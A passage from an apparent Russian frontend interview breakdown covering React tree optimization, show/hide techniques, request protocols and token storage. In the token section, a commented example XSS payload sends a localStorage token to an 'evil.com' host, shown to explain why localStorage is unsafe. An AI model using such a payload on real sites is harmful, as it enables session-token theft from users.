  • Профилируйте с помощью React DevTools перед оптимизацией
// ✅ Правильный подход
function Component() {
// 95% случаев — useEffect
useEffect(() => {
fetchData();
subscribe();
}, []);

// 5% случаев — useLayoutEffect (только при мерцании)
useLayoutEffect(() => {
measureElement();
}, []);

return <div>Content</div>;
}

Ключевое правило: начните с useEffect и переходите к useLayoutEffect только если видите визуальные артефакты. Преждевременная оптимизация через useLayoutEffect может снизить производительность без видимых преимуществ.

Вопрос 28. Какие способы оптимизации можно применить при большом количестве вложенных элементов в дереве?

Таймкод: 01:02:27

Ответ собеседника: Правильный. Кандидат предложил ленивую подгрузку (lazy loading), виртуализацию списков и мемизацию (React.memo). Для большого количества уровней вложенности можно использовать пагинацию или бесконечный скролл.

Правильный ответ:

Оптимизация деревьев с большим количеством вложенных элементов — комплексная задача, требующая применения нескольких техник в зависимости от конкретного сценария.

1. Виртуализация (Virtualization)

Отрисовка только видимых элементов — самая эффективная оптизация для длинных списков.

// react-window — лёгкая библиотека для виртуализации
import { FixedSizeList } from 'react-window';

function VirtualizedTree({ items }) {
const Row = ({ index, style }) => (
<div style={style}>
{items[index].name}
</div>
);

return (
<FixedSizeList
height={600}
itemCount={items.length}
itemSize={35}
width="100%"
>
{Row}
</FixedSizeList>
);
}

// react-virtuoso — более гибкая альтернатива
import { Virtuoso } from 'react-virtuoso';

function VirtuosoTree({ items }) {
return (
<Virtuoso
style={{ height: '600px' }}
totalCount={items.length}
itemContent={(index) => (
<div>{items[index].name}</div>
)}
/>
);
}

Виртуализация для дерева (react-virtuoso + flattening):

import { useState, useCallback } from 'react';
import { Virtuoso } from 'react-virtuoso';

interface TreeNode {
id: string;
name: string;
children?: TreeNode[];
}

function flattenTree(nodes: TreeNode[], expandedIds: Set<string>, depth = 0): Array<{ node: TreeNode; depth: number }> {
const result: Array<{ node: TreeNode; depth: number }> = [];

for (const node of nodes) {
result.push({ node, depth });
if (expandedIds.has(node.id) && node.children) {
result.push(...flattenTree(node.children, expandedIds, depth + 1));
}
}

return result;
}

function VirtualizedTree({ treeData }: { treeData: TreeNode[] }) {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());

const flatList = flattenTree(treeData, expandedIds);

const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) {
next.delete(id);
} else {
next.add(id);
}
return next;
});
}, []);

return (
<Virtuoso
style={{ height: '600px' }}
totalCount={flatList.length}
itemContent={(index) => {
const { node, depth } = flatList[index];
const hasChildren = node.children && node.children.length > 0;
const isExpanded = expandedIds.has(node.id);

return (
<div
style={{ paddingLeft: `${depth * 20}px`, cursor: 'pointer' }}
onClick={() => hasChildren && toggleNode(node.id)}
>
{hasChildren && (isExpanded ? '▼' : '▶')} {node.name}
</div>
);
}}
/>
);
}

2. Ленивая подгрузка (Lazy Loading)

Загрузка дочерних элементов только при раскрытии узла.

import { useState, useCallback } from 'react';

interface LazyTreeNode {
id: string;
name: string;
hasChildren: boolean;
children?: LazyTreeNode[];
}

function LazyTreeNodeItem({ node }: { node: LazyTreeNode }) {
const [isExpanded, setIsExpanded] = useState(false);
const [children, setChildren] = useState<LazyTreeNode[] | null>(null);
const [loading, setLoading] = useState(false);

const handleToggle = useCallback(async () => {
if (!isExpanded && !children && node.hasChildren) {
setLoading(true);
// Загружаем детей только при раскрытии
const loadedChildren = await fetchChildren(node.id);
setChildren(loadedChildren);
setLoading(false);
}
setIsExpanded(!isExpanded);
}, [isExpanded, children, node]);

return (
<div style={{ marginLeft: '20px' }}>
<div onClick={handleToggle} style={{ cursor: 'pointer' }}>
{node.hasChildren && (isExpanded ? '▼' : '▶')} {node.name}
{loading && ' (загрузка...)'}
</div>

{isExpanded && children && (
<div>
{children.map((child) => (
<LazyTreeNodeItem key={child.id} node={child} />
))}
</div>
)}
</div>
);
}

async function fetchChildren(nodeId: string): Promise<LazyTreeNode[]> {
const response = await fetch(`/api/tree/${nodeId}/children`);
return response.json();
}

3. Мемоизация (Memoization)

Предотвращение лишних ререндеров с помощью React.memo, useMemo и useCallback.

import { memo, useMemo, useCallback, useState } from 'react';

interface TreeNode {
id: string;
name: string;
children?: TreeNode[];
}

// Мемоизированный компонент узла
const TreeNodeItem = memo(function TreeNodeItem({
node,
expandedIds,
toggleNode,
level = 0,
}: {
node: TreeNode;
expandedIds: Set<string>;
toggleNode: (id: string) => void;
level?: number;
}) {
const hasChildren = node.children && node.children.length > 0;
const isExpanded = expandedIds.has(node.id);

console.log(`Render: ${node.name}`); // Для демонстрации

return (
<div style={{ marginLeft: `${level * 20}px` }}>
<div
onClick={() => hasChildren && toggleNode(node.id)}
style={{ cursor: hasChildren ? 'pointer' : 'default' }}
>
{hasChildren && (isExpanded ? '▼' : '▶')} {node.name}
</div>

{isExpanded && hasChildren && (
<div>
{node.children!.map((child) => (
<TreeNodeItem
key={child.id}
node={child}
expandedIds={expandedIds}
toggleNode={toggleNode}
level={level + 1}
/>
))}
</div>
)}
</div>
);
});

function MemoizedTree({ data }: { data: TreeNode }) {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());

// useCallback — стабильная ссылка на функцию
const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) {
next.delete(id);
} else {
next.add(id);
}
return next;
});
}, []);

// useMemo — мемоизация данных дерева
const memoizedData = useMemo(() => data, [data]);

return <TreeNodeItem node={memoizedData} expandedIds={expandedIds} toggleNode={toggleNode} />;
}

4. Пагинация и бесконечный скролл

Разбиение данных на страницы для уменьшения объёма отрисовки.

import { useState, useCallback, useRef, useEffect } from 'react';

interface TreeNode {
id: string;
name: string;
children?: TreeNode[];
}

function PaginatedTreeNode({ node }: { node: TreeNode }) {
const [isExpanded, setIsExpanded] = useState(false);
const [children, setChildren] = useState<TreeNode[]>([]);
const [page, setPage] = useState(1);
const [hasMore, setHasMore] = useState(false);
const [loading, setLoading] = useState(false);
const pageSize = 20;

const loadMore = useCallback(async () => {
if (loading) return;

setLoading(true);
const response = await fetch(
`/api/tree/${node.id}/children?page=${page}&size=${pageSize}`
);
const data = await response.json();

setChildren((prev) => [...prev, ...data.items]);
setHasMore(data.hasMore);
setPage((p) => p + 1);
setLoading(false);
}, [node.id, page, loading]);

const handleExpand = useCallback(() => {
if (!isExpanded && children.length === 0) {
loadMore();
}
setIsExpanded(!isExpanded);
}, [isExpanded, children.length, loadMore]);

return (
<div style={{ marginLeft: '20px' }}>
<div onClick={handleExpand} style={{ cursor: 'pointer' }}>
{node.children ? (isExpanded ? '▼' : '▶') : '•'} {node.name}
</div>

{isExpanded && (
<div>
{children.map((child) => (
<PaginatedTreeNode key={child.id} node={child} />
))}
{hasMore && (
<button onClick={loadMore} disabled={loading}>
{loading ? 'Загрузка...' : 'Загрузить ещё'}
</button>
)}
</div>
)}
</div>
);
}

5. Бесконечный скролл с Intersection Observer

import { useRef, useEffect, useState } from 'react';

function InfiniteScrollTree({ node }: { node: TreeNode }) {
const [children, setChildren] = useState<TreeNode[]>([]);
const [page, setPage] = useState(1);
const [hasMore, setHasMore] = useState(true);
const [loading, setLoading] = useState(false);
const loaderRef = useRef<HTMLDivElement>(null);

useEffect(() => {
const observer = new IntersectionObserver(
(entries) => {
if (entries[0].isIntersecting && hasMore && !loading) {
loadMore();
}
},
{ threshold: 0.1 }
);

if (loaderRef.current) {
observer.observe(loaderRef.current);
}

return () => observer.disconnect();
}, [hasMore, loading]);

const loadMore = async () => {
setLoading(true);
const response = await fetch(
`/api/tree/${node.id}/children?page=${page}&size=20`
);
const data = await response.json();

setChildren((prev) => [...prev, ...data.items]);
setHasMore(data.hasMore);
setPage((p) => p + 1);
setLoading(false);
};

return (
<div>
{children.map((child) => (
<TreeNodeItem key={child.id} node={child} />
))}
<div ref={loaderRef} style={{ height: '20px' }}>
{loading && 'Загрузка...'}
</div>
</div>
);
}

6. Code Splitting с React.lazy

Разделение кода на части для уменьшения начального бандла.

import { lazy, Suspense } from 'react';

// Ленивая загрузка компонента дерева
const HeavyTreeNode = lazy(() => import('./HeavyTreeNode'));

function Tree({ data }: { data: TreeNode }) {
return (
<Suspense fallback={<div>Загрузка компонента...</div>}>
<HeavyTreeNode node={data} />
</Suspense>
);
}

// Ленивая загрузка модуля данных
async function loadTreeModule() {
const module = await import('./treeModule');
return module.processTreeData();
}

7. Оптимизация состояния

Разделение состояния для минимизации ререндеров.

// ❌ Плохо — всё состояние в одном месте
function BadTree() {
const [state, setState] = useState({
expandedIds: new Set<string>(),
selectedId: null,
searchQuery: '',
// ... ещё 10 полей
});

// Любое изменение вызывает ререндер всего дерева
}

// ✅ Хорошо — разделение состояния
function GoodTree() {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());
const [selectedId, setSelectedId] = useState<string | null>(null);
const [searchQuery, setSearchQuery] = useState('');

// Изменение searchQuery не влияет на expandedIds
}

8. Context с селекторами

Оптимизация контекста для предотвращения лишних ререндеров.

import { createContext, useContext, useMemo, useRef } from 'react';

interface TreeState {
expandedIds: Set<string>;
toggleNode: (id: string) => void;
}

const TreeContext = createContext<TreeState | null>(null);

// Кастомный хук с селектором
function useExpandedIds() {
const context = useContext(TreeContext);
if (!context) throw new Error('Must be used within TreeProvider');

const expandedIdsRef = useRef(context.expandedIds);
expandedIdsRef.current = context.expandedIds;

return expandedIdsRef.current;
}

function useToggleNode() {
const context = useContext(TreeContext);
if (!context) throw new Error('Must be used within TreeProvider');

return context.toggleNode;
}

9. Сравнение подходов

ТехникаКогда использоватьСложностьЭффект
Виртуализация>100 элементов в спискеСредняяОчень высокий
Lazy LoadingГлубокое дерево, данные с сервераСредняяВысокий
React.memoЧастые обновления родителяНизкаяСредний
ПагинацияБольшие списки детейСредняяВысокий
Code SplittingБольшие компонентыНизкаяСредний
Разделение состоянияСложное состояниеНизкаяСредний

10. Комбинированный подход

import { memo, useState, useCallback, useMemo } from 'react';
import { Virtuoso } from 'react-virtuoso';

// Мемоизированный компонент строки
const TreeRow = memo(function TreeRow({
node,
depth,
isExpanded,
hasChildren,
onToggle,
}: {
node: TreeNode;
depth: number;
isExpanded: boolean;
hasChildren: boolean;
onToggle: (id: string) => void;
}) {
return (
<div
style={{ paddingLeft: `${depth * 20}px`, cursor: hasChildren ? 'pointer' : 'default' }}
onClick={() => hasChildren && onToggle(node.id)}
>
{hasChildren && (isExpanded ? '▼' : '▶')} {node.name}
</div>
);
});

// Основной компонент с виртуализацией и мемоизацией
function OptimizedTree({ data }: { data: TreeNode[] }) {
const [expandedIds, setExpandedIds] = useState<Set<string>>(new Set());

const toggleNode = useCallback((id: string) => {
setExpandedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id);
else next.add(id);
return next;
});
}, []);

const flatList = useMemo(
() => flattenTree(data, expandedIds),
[data, expandedIds]
);

return (
<Virtuoso
style={{ height: '600px' }}
totalCount={flatList.length}
itemContent={(index) => {
const { node, depth } = flatList[index];
const hasChildren = !!(node.children && node.children.length > 0);
const isExpanded = expandedIds.has(node.id);

return (
<TreeRow
node={node}
depth={depth}
isExpanded={isExpanded}
hasChildren={hasChildren}
onToggle={toggleNode}
/>
);
}}
/>
);
}

Резюме:

Для оптимизации деревьев с большим количеством вложенных элементов:

  1. Виртуализация — обязательна для списков >100 элементов
  2. Lazy Loading — загрузка детей по требованию
  3. React.memo + useCallback — предотвращение лишних ререндеров
  4. Пагинация/бесконечный скролл — для больших коллекций
  5. Code Splitting — разделение кода на части
  6. Разделение состояния — минимизация зон ререндеров

Выбор техник зависит от конкретной задачи: виртуализация для плоских списков, lazy loading для глубоких деревьев, пагинация для больших коллекций данных.

Вопрос 29. Какие существуют способы реализации скрытия/раскрытия элементов с точки зрения оптимизации?

Таймкод: 01:04:23

Ответ собеседника: Неполный. Кандидат не смог полностью ответить. Существуют три подхода: 1) нативные теги details и summary без JavaScript, 2) привязка к состоянию чекбокса через CSS, 3) управление классами/стилями через JavaScript.

Правильный ответ:

Скрытие/раскрытие элементов — распространённая задача, и выбор подхода влияет на производительность, доступность и поддерживаемость кода.

1. Нативный HTML: <details> и <summary>

Самый простой и производительный способ — без JavaScript:

<details>
<summary>Нажмите для раскрытия</summary>
<div class="content">
Скрытый контент, который можно раскрыть/скрыть
</div>
</details>

Преимущества:

  • Нет JavaScript — максимальная производительность
  • Встроенная доступность (ARIA-роли, клавиатурная навигация)
  • Поддержка браузерами из коробки
  • Можно стилизовать через CSS
/* Стилизация стрелки */
details summary {
cursor: pointer;
list-style: none;
}

details summary::before {
content: '▶';
display: inline-block;
margin-right: 8px;
transition: transform 0.2s;
}

details[open] summary::before {
content: '▼';
}

/* Анимация раскрытия */
details .content {
overflow: hidden;
max-height: 0;
transition: max-height 0.3s ease-out;
}

details[open] .content {
max-height: 1000px; /* Должно быть больше реальной высоты */
}

2. CSS-only: Чекбокс-хак

Скрытие/раскрытие через состояние чекбокса без JavaScript:

<div class="accordion">
<input type="checkbox" id="toggle-1" class="toggle">
<label for="toggle-1" class="label">Заголовок</label>
<div class="content">
Скрытый контент
</div>
</div>
.toggle {
display: none;
}

.content {
max-height: 0;
overflow: hidden;
transition: max-height 0.3s ease-out;
}

.toggle:checked ~ .content {
max-height: 1000px;
}

.label {
cursor: pointer;
display: block;
padding: 10px;
background: #f0f0f0;
}

.toggle:checked ~ .label {
background: #e0e0e0;
}

Преимущества:

  • Нет JavaScript
  • Анимация через CSS
  • Простая реализация

Недостатки:

  • Семантика нарушена (чекбокс для аккордеона)
  • Доступность требует дополнительной работы

3. CSS: content-visibility

Современный CSS-свойство для оптимизации рендеринга:

.collapsible {
content-visibility: auto;
contain-intrinsic-size: auto 300px; /* Оценка высоты */
}

.collapsible.collapsed {
content-visibility: hidden;
contain-intrinsic-size: 0;
}

Преимущества:

  • Браузер пропускает рендер скрытых элементов
  • Значительный прирост производительности
  • Простое использование
function Collapsible({ isOpen, children }) {
return (
<div className={`collapsible ${!isOpen ? 'collapsed' : ''}`}>
{children}
</div>
);
}

4. React: Условный рендеринг (mount/unmount)

Полное удаление элемента из DOM:

function Collapsible({ isOpen, children }) {
if (!isOpen) return null;
return <div className="content">{children}</div>;
}

// Или с анимацией
function AnimatedCollapsible({ isOpen, children }) {
const [shouldRender, setShouldRender] = useState(isOpen);

useEffect(() => {
if (isOpen) {
setShouldRender(true);
}
}, [isOpen]);

const handleAnimationEnd = () => {
if (!isOpen) {
setShouldRender(false);
}
};

if (!shouldRender) return null;

return (
<div
className={`content ${isOpen ? 'open' : 'closed'}`}
onAnimationEnd={handleAnimationEnd}
>
{children}
</div>
);
}
.content {
overflow: hidden;
}

.content.open {
animation: slideDown 0.3s ease-out forwards;
}

.content.closed {
animation: slideUp 0.3s ease-out forwards;
}

@keyframes slideDown {
from { max-height: 0; opacity: 0; }
to { max-height: 1000px; opacity: 1; }
}

@keyframes slideUp {
from { max-height: 1000px; opacity: 1; }
to { max-height: 0; opacity: 0; }
}

Преимущества:

  • Экономия памяти (элемент удалён из DOM)
  • Нет лишних нод в DOM-дереве

Недостатки:

  • Потеря состояния при закрытии
  • Нет доступа к элементу когда скрыт
  • Рендер при каждом открытии

5. React: CSS-классы (show/hide)

Элемент остаётся в DOM, но скрыт через CSS:

function Collapsible({ isOpen, children }) {
return (
<div className={`collapsible ${isOpen ? 'visible' : 'hidden'}`}>
{children}
</div>
);
}
.collapsible.hidden {
display: none;
}

/* Или для анимации */
.collapsible {
overflow: hidden;
transition: max-height 0.3s ease-out, opacity 0.3s ease-out;
}

.collapsible.visible {
max-height: 1000px;
opacity: 1;
}

.collapsible.hidden {
max-height: 0;
opacity: 0;
}

Преимущества:

  • Сохранение состояния
  • Простая анимация
  • Быстрое переключение

Недостатки:

  • Элемент остаётся в DOM
  • Больше нод в DOM-дереве

6. React: visibility и height

Более контролируемое скрытие:

function Collapsible({ isOpen, children }) {
const contentRef = useRef(null);
const [height, setHeight] = useState(0);

useEffect(() => {
if (contentRef.current) {
setHeight(isOpen ? contentRef.current.scrollHeight : 0);
}
}, [isOpen]);

return (
<div
ref={contentRef}
style={{
height: `${height}px`,
overflow: 'hidden',
transition: 'height 0.3s ease-out',
visibility: isOpen ? 'visible' : 'hidden',
}}
>
{children}
</div>
);
}

7. React Transition Group

Библиотека для управления переходами:

import { CSSTransition } from 'react-transition-group';

function Collapsible({ isOpen, children }) {
return (
<CSSTransition
in={isOpen}
timeout={300}
classNames="collapse"
unmountOnExit
>
<div className="content">{children}</div>
</CSSTransition>
);
}
.collapse-enter {
max-height: 0;
opacity: 0;
}

.collapse-enter-active {
max-height: 1000px;
opacity: 1;
transition: all 0.3s ease-out;
}

.collapse-exit {
max-height: 1000px;
opacity: 1;
}

.collapse-exit-active {
max-height: 0;
opacity: 0;
transition: all 0.3s ease-in;
}

8. Framer Motion

Анимации с декларативным API:

import { motion, AnimatePresence } from 'framer-motion';

function Collapsible({ isOpen, children }) {
return (
<AnimatePresence>
{isOpen && (
<motion.div
initial={{ height: 0, opacity: 0 }}
animate={{ height: 'auto', opacity: 1 }}
exit={{ height: 0, opacity: 0 }}
transition={{ duration: 0.3 }}
style={{ overflow: 'hidden' }}
>
{children}
</motion.div>
)}
</AnimatePresence>
);
}

9. Сравнение подходов

ПодходПроизводительностьАнимацияСостояниеСложность
<details>/<summary>★★★★★CSSСохраняетсяНизкая
CSS-чекбокс★★★★★CSSСохраняетсяНизкая
content-visibility★★★★★НетСохраняетсяНизкая
Условный рендеринг★★★★☆СложнаяТеряетсяСредняя
CSS show/hide★★★★☆ПростаяСохраняетсяНизкая
React Transition Group★★★☆☆ПродвинутаяТеряетсяСредняя
Framer Motion★★★☆☆ПродвинутаяТеряетсяСредняя

10. Рекомендации по выбору

Нужна анимация?
├── Нет
│ ├── Нужна максимальная производительность?
│ │ ├── Да → <details>/<summary>
│ │ └── Нет → CSS show/hide
│ └── Нужно сохранять состояние?
│ ├── Да → CSS show/hide
│ └── Нет → Условный рендеринг
└── Да
├── Простая анимация?
│ └── CSS transition + max-height
├── Сложная анимация?
│ ├── Framer Motion
│ └── React Transition Group
└── Нужно сохранять состояние?
└── CSS + max-height/opacity

Резють:

Для оптимизации скрытия/раскрытия:

  1. <details>/<summary> — лучший выбор без анимации
  2. CSS content-visibility — для больших списков
  3. CSS show/hide — баланс производительности и простоты
  4. Условный рендеринг — когда нужно экономить память
  5. CSS transitions — для простых анимаций
  6. Framer Motion/React Transition Group — для сложных анимаций

Ключевой принцип: используйте нативные возможности браузера, когда это возможно, и добавляйте JavaScript только когда необходимо.

Вопрос 30. Какие способы отправки запросов помимо fetch и GraphQL существуют?

Таймкод: 01:07:25

Ответ собеседника: Неполный. Кандидат назвал WebSocket, Server-Sent Events, REST API. Также упомянул TCP. Не назвал XMLHttpRequest, gRPC, WebRTC и другие протоколы.

Правильный ответ:

Существует множество способов отправки запросов и обмена данными между клиентом и сервером. Они различаются по протоколу, направлению связи, формату данных и сценариям использования.

1. XMLHttpRequest (XHR)

Предшественник fetch, всё ещё используется в legacy-коде:

const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/users');
xhr.setRequestHeader('Content-Type', 'application/json');

xhr.onload = function () {
if (xhr.status === 200) {
const data = JSON.parse(xhr.responseText);
console.log(data);
}
};

xhr.onerror = function () {
console.error('Request failed');
};

xhr.send();

// С прогрессом загрузки
xhr.upload.onprogress = function (event) {
if (event.lengthComputable) {
const percentComplete = (event.loaded / event.total) * 100;
console.log(`Upload: ${percentComplete}%`);
}
};

Преимущества:

  • Поддержка прогресса загрузки/выгрузки
  • Работает во всех браузерах
  • Можно отменить через xhr.abort()

Недостатки:

  • Callback-based API (не Promise)
  • Более многословный синтаксис

2. Axios

Популярная HTTP-клиентная библиотека:

import axios from 'axios';

// GET-запрос
const response = await axios.get('/api/users', {
params: { page: 1, limit: 10 },
headers: { Authorization: 'Bearer token' },
});

// POST-запрос
const { data } = await axios.post('/api/users', {
name: 'Иван',
email: 'ivan@example.com',
});

// Интерцепторы
axios.interceptors.request.use((config) => {
config.headers.Authorization = `Bearer ${getToken()}`;
return config;
});

axios.interceptors.response.use(
(response) => response,
(error) => {
if (error.response?.status === 401) {
redirectToLogin();
}
return Promise.reject(error);
}
);

// Отмена запроса
const source = axios.CancelToken.source();
axios.get('/api/users', { cancelToken: source.token });
source.cancel('Operation cancelled');

Преимущества:

  • Promise-based API
  • Автоматическая трансформация JSON
  • Интерцепторы
  • Защита от XSRF
  • Прогресс загрузки/выгрузки

3. WebSocket

Двунаправленная связь в реальном времени:

const socket = new WebSocket('wss://api.example.com/ws');

socket.onopen = () => {
console.log('Connected');
socket.send(JSON.stringify({ type: 'subscribe', channel: 'chat' }));
};

socket.onmessage = (event) => {
const data = JSON.parse(event.data);
console.log('Received:', data);
};

socket.onerror = (error) => {
console.error('WebSocket error:', error);
};

socket.onclose = (event) => {
console.log('Disconnected:', event.code, event.reason);
};

// Отправка сообщения
function sendMessage(message) {
if (socket.readyState === WebSocket.OPEN) {
socket.send(JSON.stringify({ type: 'message', content: message }));
}
}

// Закрытие соединения
socket.close(1000, 'Normal closure');

Использование:

  • Чаты и мессенджеры
  • Онлайн-игры
  • Торговые площадки (котировки)
  • Совместное редактирование

4. Server-Sent Events (SSE)

Однонаправленная связь от сервера к клиенту:

const eventSource = new EventSource('/api/notifications');

eventSource.onopen = () => {
console.log('SSE connected');
};

eventSource.onmessage = (event) => {
const data = JSON.parse(event.data);
console.log('New message:', data);
};

eventSource.addEventListener('notification', (event) => {
const notification = JSON.parse(event.data);
showNotification(notification);
});

eventSource.onerror = (error) => {
console.error('SSE error:', error);
// Браузер автоматически переподключится
};

// Закрытие соединения
eventSource.close();

Преимущества:

  • Автоматическое переподключение
  • Простой API
  • Работает поверх HTTP
  • Поддержка событий с именами

Недостатки:

  • Только сервер → клиент
  • Нет поддержки бинарных данных
  • Ограничение на количество соединений (6 на домен)

5. gRPC

Высокопроизводительный RPC-фреймворк от Google:

// user.proto
service UserService {
rpc GetUser (GetUserRequest) returns (User);
rpc ListUsers (ListUsersRequest) returns (stream User);
rpc CreateUser (CreateUserRequest) returns (User);
}

message GetUserRequest {
string id = 1;
}

message User {
string id = 1;
string name = 2;
string email = 3;
}
// Клиент (с grpc-web)
import { UserServiceClient } from './proto/user_grpc_web_pb';
import { GetUserRequest } from './proto/user_pb';

const client = new UserServiceClient('https://api.example.com');

const request = new GetUserRequest();
request.setId('123');

client.getUser(request, {}, (err, response) => {
if (err) {
console.error(err);
return;
}
console.log(response.toObject());
});

// Серверный стриминг
const stream = client.listUsers(listRequest, {});
stream.on('data', (response) => {
console.log('User:', response.toObject());
});
stream.on('error', (err) => {
console.error('Stream error:', err);
});

Преимущества:

  • Высокая производительность (HTTP/2, Protobuf)
  • Строгая типизация
  • Поддержка стриминга
  • Генерация кода

Недостатки:

  • Сложнее в настройке
  • Требует прокси для браузера (grpc-web)
  • Бинарный формат (сложнее отладка)

6. WebRTC

Peer-to-peer связь в реальном времени:

// Создание соединения
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }],
});

// Канал данных
const dataChannel = pc.createDataChannel('chat');

dataChannel.onopen = () => {
console.log('Data channel opened');
dataChannel.send('Hello!');
};

dataChannel.onmessage = (event) => {
console.log('Received:', event.data);
};

// Обмен SDP
pc.onicecandidate = (event) => {
if (event.candidate) {
sendToServer({ type: 'ice-candidate', candidate: event.candidate });
}
};

// Создание offer
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
sendToServer({ type: 'offer', sdp: offer });

Использование:

  • Видеозвонки
  • Файлообмен
  • Совместное редактирование
  • P2P-игры

7. MQTT

Лёгкий протокол для IoT и real-time:

import mqtt from 'mqtt';

const client = mqtt.connect('wss://mqtt.example.com');

client.on('connect', () => {
console.log('Connected to MQTT broker');
client.subscribe('sensors/temperature');
});

client.on('message', (topic, message) => {
console.log(`Topic: ${topic}, Message: ${message.toString()}`);
});

// Публикация сообщения
client.publish('sensors/temperature', JSON.stringify({
value: 23.5,
timestamp: Date.now(),
}));

Преимущества:

  • Очень лёгкий
  • Поддержка QoS
  • Работает в условиях нестабильного соединения
  • Широко используется в IoT

8. tRPC

End-to-end типобезопасный RPC:

// Сервер
import { initTRPC } from '@trpc/server';

const t = initTRPC.create();

const appRouter = t.router({
user: t.router({
get: t.procedure
.input(z.string())
.query(async ({ input }) => {
return await db.user.findById(input);
}),
create: t.procedure
.input(z.object({ name: z.string(), email: z.string() }))
.mutation(async ({ input }) => {
return await db.user.create(input);
}),
}),
});

export type AppRouter = typeof appRouter;

// Клиент
import { createTRPCProxyClient, httpBatchLink } from '@trpc/client';
import type { AppRouter } from './server';

const client = createTRPCProxyClient<AppRouter>({
links: [httpBatchLink({ url: '/api/trpc' })],
});

// Полная типобезопасность!
const user = await client.user.get('123');
const newUser = await client.user.create({ name: 'Иван', email: 'test@test.com' });

Преимущества:

  • End-to-end типобезопасность
  • Автодополнение на клиенте
  • Нет генерации кода
  • Работает с TypeScript

9. SWR / React Query

Библиотеки для управления запросами:

import useSWR from 'swr';
import { useQuery } from '@tanstack/react-query';

// SWR
function UserProfile({ userId }) {
const { data, error, isLoading, mutate } = useSWR(
`/api/users/${userId}`,
fetcher,
{
revalidateOnFocus: true,
dedupingInterval: 5000,
refreshInterval: 30000,
}
);

if (isLoading) return <div>Loading...</div>;
if (error) return <div>Error</div>;
return <div>{data.name}</div>;
}

// React Query
function UserList() {
const { data, isLoading, error, refetch } = useQuery({
queryKey: ['users'],
queryFn: () => fetch('/api/users').then((res) => res.json()),
staleTime: 5 * 60 * 1000,
gcTime: 10 * 60 * 1000,
});

if (isLoading) return <div>Loading...</div>;
if (error) return <div>Error: {error.message}</div>;

return <UserList data={data} />;
}

10. Сравнительная таблица

СпособНаправлениеПротоколТип данныхСценарий
fetchКлиент → СерверHTTPJSON/XMLREST API
XMLHttpRequestКлиент → СерверHTTPJSON/XMLLegacy
AxiosКлиент → СерверHTTPJSONREST API
GraphQLКлиент ↔ СерверHTTPJSONГибкие запросы
WebSocketДвунаправленныйWSЛюбойReal-time
SSEСервер → КлиентHTTPТекстУведомления
gRPCДвунаправленныйHTTP/2ProtobufМикросервисы
WebRTCP2PUDP/TCPЛюбойВидео/аудио
MQTTДвунаправленныйTCPЛюбойIoT
tRPCКлиент ↔ СерверHTTPJSONTypeScript

11. Рекомендации по выбору

Нужна типобезопасность?
├── Да → tRPC, gRPC
└── Нет
├── Нужен real-time?
│ ├── Двунаправленный → WebSocket
│ ├── Сервер → Клиент → SSE
│ └── P2P → WebRTC
├── IoT/встраиваемые системы?
│ └── MQTT
└── Обычные HTTP-запросы
├── Простой → fetch
├── Продвинутый → Axios
└── Кэширование → SWR/React Query

Каждый способ имеет свои преимущества и оптимизирован для конкретных сценариев. Выбор зависит от требований к производительности, типу данных, направлению связи и экосистемы проекта.

Вопрос 31. Где лучше всего хранить токены для безопасности?

Таймкод: 01:08:04

Ответ собеседника: Правильный. Лучше всего хранить токены в куки с параметрами HttpOnly и Secure, чтобы не было доступа из JavaScript и была защита от XSS-атак.

Правильный ответ:

Хранение токенов — критический аспект безопасности веб-приложений. Неправильное хранение может привести к краже токенов и компрометации пользовательских аккаунтов.

1. Проблемы с популярными способами хранения

localStorage и sessionStorage — небезопасно:

// ❌ НЕБЕЗОПАСНО — доступно из любого JavaScript
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...');
sessionStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...');

// XSS-атака может украсть токен:
// <script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>

Уязвимости:

  • Доступен из любого JavaScript-кода
  • Уязвим к XSS-атакам
  • Не имеет встроенной защиты
  • Не отправляется автоматически с запросами

2. Cookie с HttpOnly и Secure — рекомендуемый подход

// Сервер устанавливает cookie
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Флаги cookie:

ФлагОписаниеЗащита от
HttpOnlyНедоступно из JavaScriptXSS
SecureОтправляется только по HTTPSMITM
SameSite=StrictНе отправляется с других сайтовCSRF
SameSite=LaxОтправляется только с GET-запросамиCSRF
Path=/Доступно для всех путей
Max-Age=3600Срок жизни 1 час
// На сервере (Express.js)
res.cookie('token', jwtToken, {
httpOnly: true, // Недоступно из JS
secure: true, // Только HTTPS
sameSite: 'strict', // Защита от CSRF
maxAge: 3600000, // 1 час в миллисекундах
path: '/',
});

// На клиенте — не нужно ничего делать!
// Cookie отправляется автоматически с каждым запросом
fetch('/api/users', {
credentials: 'include', // Важно: включить cookie
});

3. Двойная отправка токена (Double Submit Cookie)

Для дополнительной защиты от CSRF:

// Сервер устанавливает два cookie:
// 1. HttpOnly cookie с токеном
// 2. Cookie с CSRF-токеном (доступен из JS)

Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Secure; SameSite=Lax
Set-Cookie: csrf_token=abc123; Secure; SameSite=Lax

// Клиент читает CSRF-токен и отправляет в заголовке
const csrfToken = getCookie('csrf_token');

fetch('/api/users', {
method: 'POST',
credentials: 'include', // Отправляет cookie
headers: {
'X-CSRF-Token': csrfToken, // Дополнительная проверка
},
body: JSON.stringify({ name: 'Иван' }),
});

// Сервер проверяет совпадение cookie и заголовка

4. Архитектура с Access и Refresh токенами

┌─────────────────────────────────────────────────────────┐
│ Клиент (браузер) │
├─────────────────────────────────────────────────────────┤
│ │
│ Access Token (краткосрочный) │
│ ├── Хранение: memory (переменная JavaScript) │
│ ├── Срок: 15-30 минут │
│ └── Отправка: Authorization: Bearer <token> │
│ │
│ Refresh Token (долгосрочный) │
│ ├── Хранение: HttpOnly cookie │
│ ├── Срок: 7-30 дней │
│ └── Отправка: автоматически с cookie │
│ │
